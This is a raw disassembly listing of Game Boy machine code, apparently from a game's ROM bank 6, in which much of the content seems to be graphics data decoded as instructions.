ldh a, [rSB] ; $5ec9: $f0 $01
add [hl] ; $5ecb: $86
ld hl, $0106 ; $5ecc: $21 $06 $01
ld c, $00 ; $5ecf: $0e $00
nop ; $5ed1: $00
rra ; $5ed2: $1f
nop ; $5ed3: $00
ld a, [hl] ; $5ed4: $7e
rra ; $5ed5: $1f
db $fd ; $5ed6: $fd
ld a, a ; $5ed7: $7f
inc bc ; $5ed8: $03
rlca ; $5ed9: $07
nop ; $5eda: $00
nop ; $5edb: $00
nop ; $5edc: $00
nop ; $5edd: $00
nop ; $5ede: $00
nop ; $5edf: $00
nop ; $5ee0: $00
nop ; $5ee1: $00
inc b ; $5ee2: $04
nop ; $5ee3: $00
ret nz ; $5ee4: $c0
jr jr_006_5ec7 ; $5ee5: $18 $e0
call $e3f0 ; $5ee7: $cd $f0 $e3
nop ; $5eea: $00
inc bc ; $5eeb: $03
nop ; $5eec: $00
ld a, l ; $5eed: $7d
inc a ; $5eee: $3c
jp nz, $8142 ; $5eef: $c2 $42 $81
jr jr_006_5e75 ; $5ef2: $18 $81
jr nz, jr_006_5e77 ; $5ef4: $20 $81
nop ; $5ef6: $00
add e ; $5ef7: $83
nop ; $5ef8: $00
ld h, d ; $5ef9: $62
ld bc, $021d ; $5efa: $01 $1d $02
inc bc ; $5efd: $03
ld bc, $8200 ; $5efe: $01 $00 $82
ld bc, $0190 ; $5f01: $01 $90 $01
nop ; $5f04: $00
jp $3e00 ; $5f05: $c3 $00 $3e
ret nz ; $5f08: $c0
ret nz ; $5f09: $c0
nop ; $5f0a: $00
ldh [rP1], a ; $5f0b: $e0 $00
ldh [rLCDC], a ; $5f0d: $e0 $40
add b ; $5f0f: $80
add b ; $5f10: $80
nop ; $5f11: $00
add b ; $5f12: $80
nop ; $5f13: $00
add b ; $5f14: $80
nop ; $5f15: $00
add b ; $5f16: $80
nop ; $5f17: $00
add b ; $5f18: $80
nop ; $5f19: $00
add b ; $5f1a: $80
nop ; $5f1b: $00
add b ; $5f1c: $80
nop ; $5f1d: $00
add b ; $5f1e: $80
nop ; $5f1f: $00
nop ; $5f20: $00
nop ; $5f21: $00
nop ; $5f22: $00
nop ; $5f23: $00
ld bc, $0300 ; $5f24: $01 $00 $03
ld bc, $0103 ; $5f27: $01 $03 $01
rlca ; $5f2a: $07
inc bc ; $5f2b: $03
ld b, $02 ; $5f2c: $06 $02
nop ; $5f2e: $00
nop ; $5f2f: $00
nop ; $5f30: $00
nop ; $5f31: $00
call nz, $a000 ; $5f32: $c4 $00 $a0
ret z ; $5f35: $c8
ld [hl], b ; $5f36: $70
push hl ; $5f37: $e5
ld a, b ; $5f38: $78
di ; $5f39: $f3
ret nz ; $5f3a: $c0
jp $7d00 ; $5f3b: $c3 $00 $7d
inc a ; $5f3e: $3c
jp nz, RST_00 ; $5f3f: $c2 $00 $00
inc d ; $5f42: $14
nop ; $5f43: $00
jr c, @+$12 ; $5f44: $38 $10
ld a, b ; $5f46: $78
ld sp, $7bfc ; $5f47: $31 $fc $7b
ret nz ; $5f4a: $c0
ld b, e ; $5f4b: $43
add b ; $5f4c: $80
db $fd ; $5f4d: $fd
inc a ; $5f4e: $3c
jp nz, $1400 ; $5f4f: $c2 $00 $14
nop ; $5f52: $00
inc h ; $5f53: $24
dec bc ; $5f54: $0b
ld l, $1a ; $5f55: $2e $1a
rrca ; $5f57: $0f
nop ; $5f58: $00
inc [hl] ; $5f59: $34
ld b, b ; $5f5a: $40
inc h ; $5f5b: $24
nop ; $5f5c: $00
ld h, h ; $5f5d: $64
nop ; $5f5e: $00
push bc ; $5f5f: $c5
inc a ; $5f60: $3c
nop ; $5f61: $00
ld d, $3c ; $5f62: $16 $3c
add [hl] ; $5f64: $86
cp $af ; $5f65: $fe $af
ld hl, sp-$34 ; $5f67: $f8 $cc
rst $38 ; $5f69: $ff
ld e, [hl] ; $5f6a: $5e
ld a, [hl] ; $5f6b: $7e
inc h ; $5f6c: $24
cp $6e ; $5f6d: $fe $6e
rst $38 ; $5f6f: $ff
nop ; $5f70: $00
ld c, b ; $5f71: $48
ld [bc], a ; $5f72: $02
ld c, h ; $5f73: $4c
ld bc, $4048 ; $5f74: $01 $48 $40
ld c, c ; $5f77: $49
ld b, b ; $5f78: $40
adc c ; $5f79: $89
jr z, @-$35 ; $5f7a: $28 $c9
db $10 ; $5f7c: $10
ld a, c ; $5f7d: $79
nop ; $5f7e: $00
ld l, l ; $5f7f: $6d
nop ; $5f80: $00
nop ; $5f81: $00
nop ; $5f82: $00
nop ; $5f83: $00
nop ; $5f84: $00
nop ; $5f85: $00
ld bc, $0400 ; $5f86: $01 $00 $04
inc bc ; $5f89: $03
ld c, $07 ; $5f8a: $0e $07
inc b ; $5f8c: $04
rrca ; $5f8d: $0f
jr jr_006_5f9e ; $5f8e: $18 $0e
inc a ; $5f90: $3c
nop ; $5f91: $00
ld c, d ; $5f92: $4a
inc a ; $5f93: $3c
db $10 ; $5f94: $10
ld a, $c4 ; $5f95: $3e $c4
ccf ; $5f97: $3f
jr_006_5f98:
jr jr_006_5f98 ; $5f98: $18 $fe
ld h, h ; $5f9a: $64
cp $10 ; $5f9b: $fe $10
inc a ; $5f9d: $3c
jr_006_5f9e:
nop ; $5f9e: $00
nop ; $5f9f: $00
nop ; $5fa0: $00
nop ; $5fa1: $00
nop ; $5fa2: $00
nop ; $5fa3: $00
nop ; $5fa4: $00
nop ; $5fa5: $00
nop ; $5fa6: $00
nop ; $5fa7: $00
ld h, b ; $5fa8: $60
add b ; $5fa9: $80
jr jr_006_5fd4 ; $5faa: $18 $28
ld h, b ; $5fac: $60
jr c, jr_006_5fb7 ; $5fad: $38 $08
ld c, b ; $5faf: $48
inc a ; $5fb0: $3c
nop ; $5fb1: $00
ld d, $28 ; $5fb2: $16 $28
add [hl] ; $5fb4: $86
cp $af ; $5fb5: $fe $af
jr_006_5fb7:
ret c ; $5fb7: $d8
call z, $5eff ; $5fb8: $cc $ff $5e
ld l, [hl] ; $5fbb: $6e
inc h ; $5fbc: $24
ld_long a, $ff6e ; $5fbd: $fa $6e $ff
jr_006_5fc0:
inc a ; $5fc0: $3c
nop ; $5fc1: $00
ld c, d ; $5fc2: $4a
inc [hl] ; $5fc3: $34
db $10 ; $5fc4: $10
ld l, $c4 ; $5fc5: $2e $c4
dec sp ; $5fc7: $3b
jr jr_006_5fc0 ; $5fc8: $18 $f6
ld h, h ; $5fca: $64
ld a, [$2c10] ; $5fcb: $fa $10 $2c
nop ; $5fce: $00
nop ; $5fcf: $00
ld a, [hl] ; $5fd0: $7e
ld b, d ; $5fd1: $42
res 6, l ; $5fd2: $cb $b5
jr_006_5fd4:
sub c ; $5fd4: $91
rst $28 ; $5fd5: $ef
jp $95bd ; $5fd6: $c3 $bd $95
db $eb ; $5fd9: $eb
pop bc ; $5fda: $c1
cp a ; $5fdb: $bf
set 6, a ; $5fdc: $cb $f7
ld a, [hl] ; $5fde: $7e
ld a, [hl] ; $5fdf: $7e
ld a, [hl] ; $5fe0: $7e
ld b, d ; $5fe1: $42
res 7, l ; $5fe2: $cb $bd
sub c ; $5fe4: $91
rst $38 ; $5fe5: $ff
jp $95ff ; $5fe6: $c3 $ff $95
rst $38 ; $5fe9: $ff
pop bc ; $5fea: $c1
rst $38 ; $5feb: $ff
set 7, a ; $5fec: $cb $ff
ld a, [hl] ; $5fee: $7e
ld a, [hl] ; $5fef: $7e
nop ; $5ff0: $00
ld bc, $0702 ; $5ff1: $01 $02 $07
ld [bc], a ; $5ff4: $02
rrca ; $5ff5: $0f
inc b ; $5ff6: $04
rra ; $5ff7: $1f
dec b ; $5ff8: $05
ld a, $29 ; $5ff9: $3e $29
ld e, $6b ; $5ffb: $1e $6b
inc e ; $5ffd: $1c
ld l, e ; $5ffe: $6b
inc e ; $5fff: $1c
ld l, e ; $6000: $6b
inc e ; $6001: $1c
ld l, e ; $6002: $6b
inc e ; $6003: $1c
ld l, e ; $6004: $6b
inc e ; $6005: $1c
ld l, c ; $6006: $69
ld e, [hl] ; $6007: $5e
ld b, l ; $6008: $45
ld a, [hl] ; $6009: $7e
inc h ; $600a: $24
ccf ; $600b: $3f
ld [de], a ; $600c: $12
rra ; $600d: $1f
rlca ; $600e: $07
rlca ; $600f: $07
nop ; $6010: $00
nop ; $6011: $00
inc bc ; $6012: $03
inc bc ; $6013: $03
rlca ; $6014: $07
inc b ; $6015: $04
rrca ; $6016: $0f
ld [$0b0c], sp ; $6017: $08 $0c $0b
db $10 ; $601a: $10
rra ; $601b: $1f
db $10 ; $601c: $10
rra ; $601d: $1f
db $10 ; $601e: $10
rra ; $601f: $1f
nop ; $6020: $00
nop ; $6021: $00
and b ; $6022: $a0
ldh [$98], a ; $6023: $e0 $98
ld hl, sp+$47 ; $6025: $f8 $47
ld a, a ; $6027: $7f
ld b, b ; $6028: $40
ld a, a ; $6029: $7f
ld a, $31 ; $602a: $3e $31
rrca ; $602c: $0f
ld [$0303], sp ; $602d: $08 $03 $03
add hl, bc ; $6030: $09
rrca ; $6031: $0f
ld a, [bc] ; $6032: $0a
ld c, $04 ; $6033: $0e $04
dec b ; $6035: $05
ld [$c10b], sp ; $6036: $08 $0b $c1
sub $23 ; $6039: $d6 $23
db $ec ; $603b: $ec
sub e ; $603c: $93
ld [hl], h ; $603d: $74
rst $30 ; $603e: $f7
rst $30 ; $603f: $f7
nop ; $6040: $00
nop ; $6041: $00
nop ; $6042: $00
nop ; $6043: $00
nop ; $6044: $00
nop ; $6045: $00
rrca ; $6046: $0f
nop ; $6047: $00
inc e ; $6048: $1c
dec bc ; $6049: $0b
db $10 ; $604a: $10
rra ; $604b: $1f
db $10 ; $604c: $10
rra ; $604d: $1f
db $10 ; $604e: $10
rra ; $604f: $1f
nop ; $6050: $00
nop ; $6051: $00
nop ; $6052: $00
nop ; $6053: $00
nop ; $6054: $00
nop ; $6055: $00
nop ; $6056: $00
nop ; $6057: $00
jr_006_6058:
rra ; $6058: $1f
nop ; $6059: $00
ccf ; $605a: $3f
nop ; $605b: $00
ccf ; $605c: $3f
rra ; $605d: $1f
jr jr_006_607f ; $605e: $18 $1f
ret nz ; $6060: $c0
nop ; $6061: $00
ret z ; $6062: $c8
inc d ; $6063: $14
nop ; $6064: $00
ld [hl+], a ; $6065: $22
ld [$0062], sp ; $6066: $08 $62 $00
ld h, d ; $6069: $62
nop ; $606a: $00
ld a, [hl] ; $606b: $7e
dec bc ; $606c: $0b
jr nz, jr_006_6082 ; $606d: $20 $13
nop ; $606f: $00
inc bc ; $6070: $03
nop ; $6071: $00
inc de ; $6072: $13
jr z, jr_006_6075 ; $6073: $28 $00
jr_006_6075:
ld b, h ; $6075: $44
db $10 ; $6076: $10
ld b, [hl] ; $6077: $46
nop ; $6078: $00
ld b, [hl] ; $6079: $46
nop ; $607a: $00
ld a, [hl] ; $607b: $7e
ret nc ; $607c: $d0
inc b ; $607d: $04
ret z ; $607e: $c8
jr_006_607f:
nop ; $607f: $00
nop ; $6080: $00
nop ; $6081: $00
jr_006_6082:
nop ; $6082: $00
nop ; $6083: $00
ld [$0003], sp ; $6084: $08 $03 $00
rrca ; $6087: $0f
nop ; $6088: $00
rra ; $6089: $1f
jr_006_608a:
ld b, h ; $608a: $44
dec de ; $608b: $1b
nop ; $608c: $00
dec sp ; $608d: $3b
ld [$0037], sp ; $608e: $08 $37 $00
nop ; $6091: $00
add b ; $6092: $80
nop ; $6093: $00
nop ; $6094: $00
ld h, b ; $6095: $60
jr z, jr_006_6058 ; $6096: $28 $c0
jr_006_6098:
nop ; $6098: $00
ret c ; $6099: $d8
adc b ; $609a: $88
ld [hl], h ; $609b: $74
nop ; $609c: $00
ld [hl], h ; $609d: $74
ld [bc], a ; $609e: $02
ret c ; $609f: $d8
ld bc, $4036 ; $60a0: $01 $36 $40
ld e, $00 ; $60a3: $1e $00
ccf ; $60a5: $3f
ld [de], a ; $60a6: $12
dec b ; $60a7: $05
nop ; $60a8: $00
dec c ; $60a9: $0d
db $10 ; $60aa: $10
rlca ; $60ab: $07
ld bc, $0000 ; $60ac: $01 $00 $00
nop ; $60af: $00
nop ; $60b0: $00
db $ec ; $60b1: $ec
nop ; $60b2: $00
db $fc ; $60b3: $fc
jr nz, jr_006_608a ; $60b4: $20 $d4
ld [bc], a ; $60b6: $02
ret c ; $60b7: $d8
nop ; $60b8: $00
ld hl, sp+$10 ; $60b9: $f8 $10
ret nz ; $60bb: $c0
nop ; $60bc: $00
nop ; $60bd: $00
nop ; $60be: $00
nop ; $60bf: $00
nop ; $60c0: $00
nop ; $60c1: $00
stop ; $60c2: $10 $00
ld [$0003], sp ; $60c4: $08 $03 $00
rrca ; $60c7: $0f
adc b ; $60c8: $88
rla ; $60c9: $17
jr_006_60ca:
ld b, h ; $60ca: $44
inc de ; $60cb: $13
nop ; $60cc: $00
dec sp ; $60cd: $3b
jr jr_006_60f7 ; $60ce: $18 $27
add b ; $60d0: $80
nop ; $60d1: $00
add b ; $60d2: $80
nop ; $60d3: $00
inc b ; $60d4: $04
ld h, b ; $60d5: $60
jr z, jr_006_6098 ; $60d6: $28 $c0
add b ; $60d8: $80
ld e, b ; $60d9: $58
adc h ; $60da: $8c
ld [hl], b ; $60db: $70
nop ; $60dc: $00
ld [hl], h ; $60dd: $74
dec de ; $60de: $1b
ret nz ; $60df: $c0
ld bc, $c026 ; $60e0: $01 $26 $c0
ld e, $00 ; $60e3: $1e $00
ccf ; $60e5: $3f
ld [de], a ; $60e6: $12
dec c ; $60e7: $0d
inc h ; $60e8: $24
add hl, bc ; $60e9: $09
db $10 ; $60ea: $10
ld b, $21 ; $60eb: $06 $21
nop ; $60ed: $00
ld bc, $0000 ; $60ee: $01 $00 $00
db $ec ; $60f1: $ec
nop ; $60f2: $00
db $fc ; $60f3: $fc
jr nz, jr_006_60ca ; $60f4: $20 $d4
ld [de], a ; $60f6: $12
jr_006_60f7:
ret z ; $60f7: $c8
ld bc, $10f8 ; $60f8: $01 $f8 $10
ret nz ; $60fb: $c0
ld [$0000], sp ; $60fc: $08 $00 $00
nop ; $60ff: $00
rlca ; $6100: $07
rlca ; $6101: $07
ccf ; $6102: $3f
scf ; $6103: $37
ld a, a ; $6104: $7f
ld a, a ; $6105: $7f
rst $38 ; $6106: $ff
ld a, l ; $6107: $7d
rst $38 ; $6108: $ff
rst $28 ; $6109: $ef
rst $28 ; $610a: $ef
rst $28 ; $610b: $ef
rst $38 ; $610c: $ff
ld a, l ; $610d: $7d
dec a ; $610e: $3d
dec a ; $610f: $3d
nop ; $6110: $00
nop ; $6111: $00
inc a ; $6112: $3c
jr_006_6113:
nop ; $6113: $00
ld a, [hl] ; $6114: $7e
ld a, [de] ; $6115: $1a
sbc $2c ; $6116: $de $2c
ld a, [hl] ; $6118: $7e
cp [hl] ; $6119: $be
ld a, a ; $611a: $7f
dec hl ; $611b: $2b
ld a, [hl] ; $611c: $7e
ld a, [hl] ; $611d: $7e
jr jr_006_6128 ; $611e: $18 $08
call nz, $0200 ; $6120: $c4 $00 $02
ld sp, $36c0 ; $6123: $31 $c0 $36
nop ; $6126: $00
inc [hl] ; $6127: $34
jr_006_6128:
ret nz ; $6128: $c0
jr_006_6129:
rla ; $6129: $17
inc bc ; $612a: $03
dec e ; $612b: $1d
inc bc ; $612c: $03
rra ; $612d: $1f
rrca ; $612e: $0f
dec b ; $612f: $05
inc hl ; $6130: $23
nop ; $6131: $00
ld b, b ; $6132: $40
adc h ; $6133: $8c
inc bc ; $6134: $03
ld l, h ; $6135: $6c
add b ; $6136: $80
inc l ; $6137: $2c
inc bc ; $6138: $03
add sp, -$40 ; $6139: $e8 $c0
cp b ; $613b: $b8
ret nz ; $613c: $c0
ld hl, sp-$10 ; $613d: $f8 $f0
and b ; $613f: $a0
inc [hl] ; $6140: $34
Jump_006_6141:
nop ; $6141: $00
ld [bc], a ; $6142: $02
add hl, bc ; $6143: $09
jr nc, jr_006_6154 ; $6144: $30 $0e
nop ; $6146: $00
inc c ; $6147: $0c
jr nc, jr_006_6151 ; $6148: $30 $07
inc bc ; $614a: $03
dec e ; $614b: $1d
inc bc ; $614c: $03
rra ; $614d: $1f
rrca ; $614e: $0f
ld b, $2c ; $614f: $06 $2c
jr_006_6151:
nop ; $6151: $00
ld b, b ; $6152: $40
sub b ; $6153: $90
jr_006_6154:
inc c ; $6154: $0c
ld [hl], b ; $6155: $70
add b ; $6156: $80
jr nc, jr_006_6165 ; $6157: $30 $0c
ldh [$c0], a ; $6159: $e0 $c0
cp b ; $615b: $b8
ret nz ; $615c: $c0
ld hl, sp-$10 ; $615d: $f8 $f0
ld h, b ; $615f: $60
inc c ; $6160: $0c
nop ; $6161: $00
ld c, h ; $6162: $4c
jr nc, jr_006_6129 ; $6163: $30 $c4
jr_006_6165:
ld a, [hl-] ; $6165: $3a
ret z ; $6166: $c8
ld a, $13 ; $6167: $3e $13
ld a, h ; $6169: $7c
inc hl ; $616a: $23
ld e, h ; $616b: $5c
ld [hl-], a ; $616c: $32
inc c ; $616d: $0c
jr nc, jr_006_6170 ; $616e: $30 $00
jr_006_6170:
nop ; $6170: $00
nop ; $6171: $00
nop ; $6172: $00
nop ; $6173: $00
nop ; $6174: $00
nop ; $6175: $00
nop ; $6176: $00
nop ; $6177: $00
nop ; $6178: $00
nop ; $6179: $00
nop ; $617a: $00
nop ; $617b: $00
nop ; $617c: $00
nop ; $617d: $00
nop ; $617e: $00
nop ; $617f: $00
ld bc, $5202 ; $6180: $01 $02 $52
ld e, $cd ; $6183: $1e $cd
inc de ; $6185: $13
dec l ; $6186: $2d
inc sp ; $6187: $33
ld d, b ; $6188: $50
jr_006_6189:
rra ; $6189: $1f
reti ; $618a: $d9
jr_006_618b:
ld e, $2b ; $618b: $1e $2b
inc [hl] ; $618d: $34
scf ; $618e: $37
jr c, jr_006_6113 ; $618f: $38 $82
ld b, b ; $6191: $40
ld c, e ; $6192: $4b
ld a, b ; $6193: $78
or h ; $6194: $b4
call z, $ccb4 ; $6195: $cc $b4 $cc
inc c ; $6198: $0c
db $fc ; $6199: $fc
sbc d ; $619a: $9a
ld a, b ; $619b: $78
db $d3 ; $619c: $d3
jr z, jr_006_618b ; $619d: $28 $ec
inc e ; $619f: $1c
inc sp ; $61a0: $33
inc a ; $61a1: $3c
ld d, a ; $61a2: $57
jr jr_006_6170 ; $61a3: $18 $cb
inc d ; $61a5: $14
add hl, sp ; $61a6: $39
ld a, $0a ; $61a7: $3e $0a
rrca ; $61a9: $0f
dec e ; $61aa: $1d
ld [de], a ; $61ab: $12
dec a ; $61ac: $3d
ld l, $32 ; $61ad: $2e $32
inc sp ; $61af: $33
jp z, $eb38 ; $61b0: $ca $38 $eb
jr jr_006_6189 ; $61b3: $18 $d4
inc l ; $61b5: $2c
sbc h ; $61b6: $9c
ld a, h ; $61b7: $7c
ld d, b ; $61b8: $50
ldh a, [$b8] ; $61b9: $f0 $b8
ld c, b ; $61bb: $48
cp h ; $61bc: $bc
ld [hl], h ; $61bd: $74
ld c, h ; $61be: $4c
call z, Call_000_0004 ; $61bf: $cc $04 $00
ld b, $00 ; $61c2: $06 $00
ret ; $61c4: $c9
ret ; $61c5: $c9
db $eb ; $61c6: $eb
xor a ; $61c7: $af
ld a, h ; $61c8: $7c
ld e, e ; $61c9: $5b
ld h, d ; $61ca: $62
ld e, l ; $61cb: $5d
sub a ; $61cc: $97
ld hl, sp+$6f ; $61cd: $f8 $6f
sub b ; $61cf: $90
inc h ; $61d0: $24
nop ; $61d1: $00
ld [hl], $00 ; $61d2: $36 $00
ret z ; $61d4: $c8
ret z ; $61d5: $c8
or d ; $61d6: $b2
cp $6c ; $61d7: $fe $6c
or d ; $61d9: $b2
adc h ; $61da: $8c
ld [hl], d ; $61db: $72
jp nz, $ed3f ; $61dc: $c2 $3f $ed
inc e ; $61df: $1c
ld l, a ; $61e0: $6f
sub b ; $61e1: $90
sub a ; $61e2: $97
ld hl, sp+$62 ; $61e3: $f8 $62
ld e, l ; $61e5: $5d
ld a, h ; $61e6: $7c
ld e, e ; $61e7: $5b
db $eb ; $61e8: $eb
jr_006_61e9:
xor a ; $61e9: $af
call z, Call_000_03cc ; $61ea: $cc $cc $03
nop ; $61ed: $00
ld [bc], a ; $61ee: $02
nop ; $61ef: $00
db $ed ; $61f0: $ed
inc e ; $61f1: $1c
jp nz, $8c3f ; $61f2: $c2 $3f $8c
ld [hl], d ; $61f5: $72
ld l, h ; $61f6: $6c
or d ; $61f7: $b2
or d ; $61f8: $b2
cp $9c ; $61f9: $fe $9c
sbc h ; $61fb: $9c
ld h, e ; $61fc: $63
nop ; $61fd: $00
ld b, d ; $61fe: $42
nop ; $61ff: $00
jr_006_6200:
nop ; $6200: $00
nop ; $6201: $00
nop ; $6202: $00
nop ; $6203: $00
nop ; $6204: $00
ldh [rNR50], a ; $6205: $e0 $24
inc a ; $6207: $3c
jp nz, Jump_000_114e ; $6208: $c2 $4e $11
ld b, a ; $620b: $47
dec b ; $620c: $05
ld l, a ; $620d: $6f
inc b ; $620e: $04
rra ; $620f: $1f
ld b, h ; $6210: $44
ld h, a ; $6211: $67
inc h ; $6212: $24
rst $08 ; $6213: $cf
db $10 ; $6214: $10
rra ; $6215: $1f
ld c, b ; $6216: $48
ld l, a ; $6217: $6f
jr nz, jr_006_61e9 ; $6218: $20 $cf
ld [$101f], sp ; $621a: $08 $1f $10
daa ; $621d: $27
ld l, b ; $621e: $68
adc e ; $621f: $8b
jr jr_006_623c ; $6220: $18 $1a
inc a ; $6222: $3c
inc a ; $6223: $3c
ld h, [hl] ; $6224: $66
ld a, [hl] ; $6225: $7e
add $fe ; $6226: $c6 $fe
adc $fe ; $6228: $ce $fe
db $fc ; $622a: $fc
db $fc ; $622b: $fc
ld a, b ; $622c: $78
ld a, b ; $622d: $78
nop ; $622e: $00
nop ; $622f: $00
nop ; $6230: $00
ld a, [de] ; $6231: $1a
jr jr_006_6258 ; $6232: $18 $24
inc a ; $6234: $3c
ld b, d ; $6235: $42
ld a, h ; $6236: $7c
add d ; $6237: $82
ld a, h ; $6238: $7c
add d ; $6239: $82
jr c, jr_006_6200 ; $623a: $38 $c4
jr_006_623c:
nop ; $623c: $00
ld a, b ; $623d: $78
nop ; $623e: $00
nop ; $623f: $00
inc c ; $6240: $0c
nop ; $6241: $00
rlca ; $6242: $07
inc b ; $6243: $04
inc c ; $6244: $0c
inc b ; $6245: $04
ld bc, $0004 ; $6246: $01 $04 $00
ld b, $0e ; $6249: $06 $0e
rrca ; $624b: $0f
dec bc ; $624c: $0b
scf ; $624d: $37
ld bc, $0003 ; $624e: $01 $03 $00
nop ; $6251: $00
add b ; $6252: $80
nop ; $6253: $00
ld h, b ; $6254: $60
add b ; $6255: $80
jr nc, jr_006_6298 ; $6256: $30 $40
jr_006_6258:
ld a, b ; $6258: $78
ret nz ; $6259: $c0
ld a, b ; $625a: $78
ret nz ; $625b: $c0
db $fc ; $625c: $fc
ret nz ; $625d: $c0
db $fc ; $625e: $fc
ld h, b ; $625f: $60
ld bc, $0401 ; $6260: $01 $01 $04
dec sp ; $6263: $3b
inc bc ; $6264: $03
inc bc ; $6265: $03
dec e ; $6266: $1d
inc hl ; $6267: $23
inc bc ; $6268: $03
inc e ; $6269: $1c
rrca ; $626a: $0f
jr nc, jr_006_627c ; $626b: $30 $0f
jr_006_626d:
jr nc, jr_006_6276 ; $626d: $30 $07
jr_006_626f:
jr jr_006_626d ; $626f: $18 $fc
jr nz, jr_006_626f ; $6271: $20 $fc
add b ; $6273: $80
ld hl, sp+$00 ; $6274: $f8 $00
jr_006_6276:
ld hl, sp-$80 ; $6276: $f8 $80
ld [hl], b ; $6278: $70
ret nz ; $6279: $c0
ldh [rLCDC], a ; $627a: $e0 $40
jr_006_627c:
and b ; $627c: $a0
ld h, b ; $627d: $60
nop ; $627e: $00
add b ; $627f: $80
nop ; $6280: $00
nop ; $6281: $00
inc bc ; $6282: $03
nop ; $6283: $00
dec c ; $6284: $0d
inc bc ; $6285: $03
inc a ; $6286: $3c
inc c ; $6287: $0c
ld b, d ; $6288: $42
ld [$0910], sp ; $6289: $08 $10 $09
nop ; $628c: $00
rlca ; $628d: $07
nop ; $628e: $00
nop ; $628f: $00
nop ; $6290: $00
nop ; $6291: $00
ldh [rP1], a ; $6292: $e0 $00
ld hl, sp+$00 ; $6294: $f8 $00
db $fc ; $6296: $fc
ret nz ; $6297: $c0
jr_006_6298:
ld a, [hl] ; $6298: $7e
ldh [$3e], a ; $6299: $e0 $3e
add b ; $629b: $80
rra ; $629c: $1f
ld [hl], b ; $629d: $70
rra ; $629e: $1f
sbc h ; $629f: $9c
nop ; $62a0: $00
ld a, [hl-] ; $62a1: $3a
add hl, de ; $62a2: $19
ld h, h ; $62a3: $64
inc a ; $62a4: $3c
ld b, d ; $62a5: $42
ld a, $41 ; $62a6: $3e $41
inc e ; $62a8: $1c
inc hl ; $62a9: $23
nop ; $62aa: $00
ld e, $00 ; $62ab: $1e $00
nop ; $62ad: $00
nop ; $62ae: $00
nop ; $62af: $00
ld l, a ; $62b0: $6f
inc d ; $62b1: $14
sbc [hl] ; $62b2: $9e
ld [$40be], sp ; $62b3: $08 $be $40
ld a, h ; $62b6: $7c
nop ; $62b7: $00
ld a, b ; $62b8: $78
nop ; $62b9: $00
ldh [rP1], a ; $62ba: $e0 $00
nop ; $62bc: $00
nop ; $62bd: $00
nop ; $62be: $00
nop ; $62bf: $00
rrca ; $62c0: $0f
rrca ; $62c1: $0f
jr nc, jr_006_6303 ; $62c2: $30 $3f
ld b, b ; $62c4: $40
ld [hl], c ; $62c5: $71
ld b, l ; $62c6: $45
ld h, c ; $62c7: $61
add d ; $62c8: $82
db $e3 ; $62c9: $e3
add d ; $62ca: $82
jp $c784 ; $62cb: $c3 $84 $c7
add l ; $62ce: $85
add $f0 ; $62cf: $c6 $f0
ldh a, [$0c] ; $62d1: $f0 $0c
db $fc ; $62d3: $fc
ld [bc], a ; $62d4: $02
adc [hl] ; $62d5: $8e
and d ; $62d6: $a2
add [hl] ; $62d7: $86
ld b, c ; $62d8: $41
rst $00 ; $62d9: $c7
ld b, c ; $62da: $41
jp $e321 ; $62db: $c3 $21 $e3
and c ; $62de: $a1
ld h, e ; $62df: $63
add l ; $62e0: $85
add $85 ; $62e1: $c6 $85
add $85 ; $62e3: $c6 $85
add $82 ; $62e5: $c6 $82
jp Jump_006_6141 ; $62e7: $c3 $41 $61
ld b, b ; $62ea: $40
ld [hl], c ; $62eb: $71
jr nc, jr_006_632d ; $62ec: $30 $3f
rrca ; $62ee: $0f
rrca ; $62ef: $0f
and c ; $62f0: $a1
ld h, e ; $62f1: $63
and c ; $62f2: $a1
ld h, e ; $62f3: $63
and c ; $62f4: $a1
ld h, e ; $62f5: $63
ld b, c ; $62f6: $41
jp $8682 ; $62f7: $c3 $82 $86
ld [bc], a ; $62fa: $02
adc [hl] ; $62fb: $8e
Call_006_62fc:
inc c ; $62fc: $0c
db $fc ; $62fd: $fc
ldh a, [$f0] ; $62fe: $f0 $f0
nop ; $6300: $00
nop ; $6301: $00
rrca ; $6302: $0f
jr_006_6303:
rrca ; $6303: $0f
jr nc, @+$41 ; $6304: $30 $3f
ld b, b ; $6306: $40
ld [hl], c ; $6307: $71
ld b, l ; $6308: $45
ld h, c ; $6309: $61
add d ; $630a: $82
db $e3 ; $630b: $e3
add h ; $630c: $84
rst $00 ; $630d: $c7
adc c ; $630e: $89
adc $00 ; $630f: $ce $00
nop ; $6311: $00
ldh a, [$f0] ; $6312: $f0 $f0
inc c ; $6314: $0c
db $fc ; $6315: $fc
ld [bc], a ; $6316: $02
adc [hl] ; $6317: $8e
and d ; $6318: $a2
add [hl] ; $6319: $86
ld b, c ; $631a: $41
rst $00 ; $631b: $c7
ld hl, $91e3 ; $631c: $21 $e3 $91
ld [hl], e ; $631f: $73
adc e ; $6320: $8b
call z, $cc8b ; $6321: $cc $8b $cc
adc c ; $6324: $89
adc $44 ; $6325: $ce $44
ld h, a ; $6327: $67
ld b, d ; $6328: $42
ld [hl], e ; $6329: $73
jr nc, jr_006_636b ; $632a: $30 $3f
rrca ; $632c: $0f
jr_006_632d:
rrca ; $632d: $0f
nop ; $632e: $00
nop ; $632f: $00
pop de ; $6330: $d1
inc sp ; $6331: $33
pop de ; $6332: $d1
inc sp ; $6333: $33
sub c ; $6334: $91
ld [hl], a ; $6335: $77
ld [hl+], a ; $6336: $22
and $42 ; $6337: $e6 $42
adc $0c ; $6339: $ce $0c
db $fc ; $633b: $fc
ldh a, [$f0] ; $633c: $f0 $f0
nop ; $633e: $00
nop ; $633f: $00
nop ; $6340: $00
jr c, jr_006_6353 ; $6341: $38 $10
ld l, h ; $6343: $6c
jr c, jr_006_63c2 ; $6344: $38 $7c
ld b, h ; $6346: $44
ld b, h ; $6347: $44
jr z, jr_006_634a ; $6348: $28 $00
jr_006_634a:
nop ; $634a: $00
nop ; $634b: $00
nop ; $634c: $00
nop ; $634d: $00
nop ; $634e: $00
nop ; $634f: $00
nop ; $6350: $00
ld a, h ; $6351: $7c
db $10 ; $6352: $10
jr_006_6353:
jr z, jr_006_63a9 ; $6353: $28 $54
jr z, @+$12 ; $6355: $28 $10
ld l, h ; $6357: $6c
ld b, h ; $6358: $44
cp $44 ; $6359: $fe $44
add $6c ; $635b: $c6 $6c
ld b, h ; $635d: $44
jr c, jr_006_6398 ; $635e: $38 $38
nop ; $6360: $00
ld a, h ; $6361: $7c
db $10 ; $6362: $10
jr z, jr_006_6375 ; $6363: $28 $10
nop ; $6365: $00
stop ; $6366: $10 $00
stop ; $6368: $10 $00
sub d ; $636a: $92
jr_006_636b:
jr z, @+$56 ; $636b: $28 $54
jr z, jr_006_63a7 ; $636d: $28 $38
ld b, h ; $636f: $44
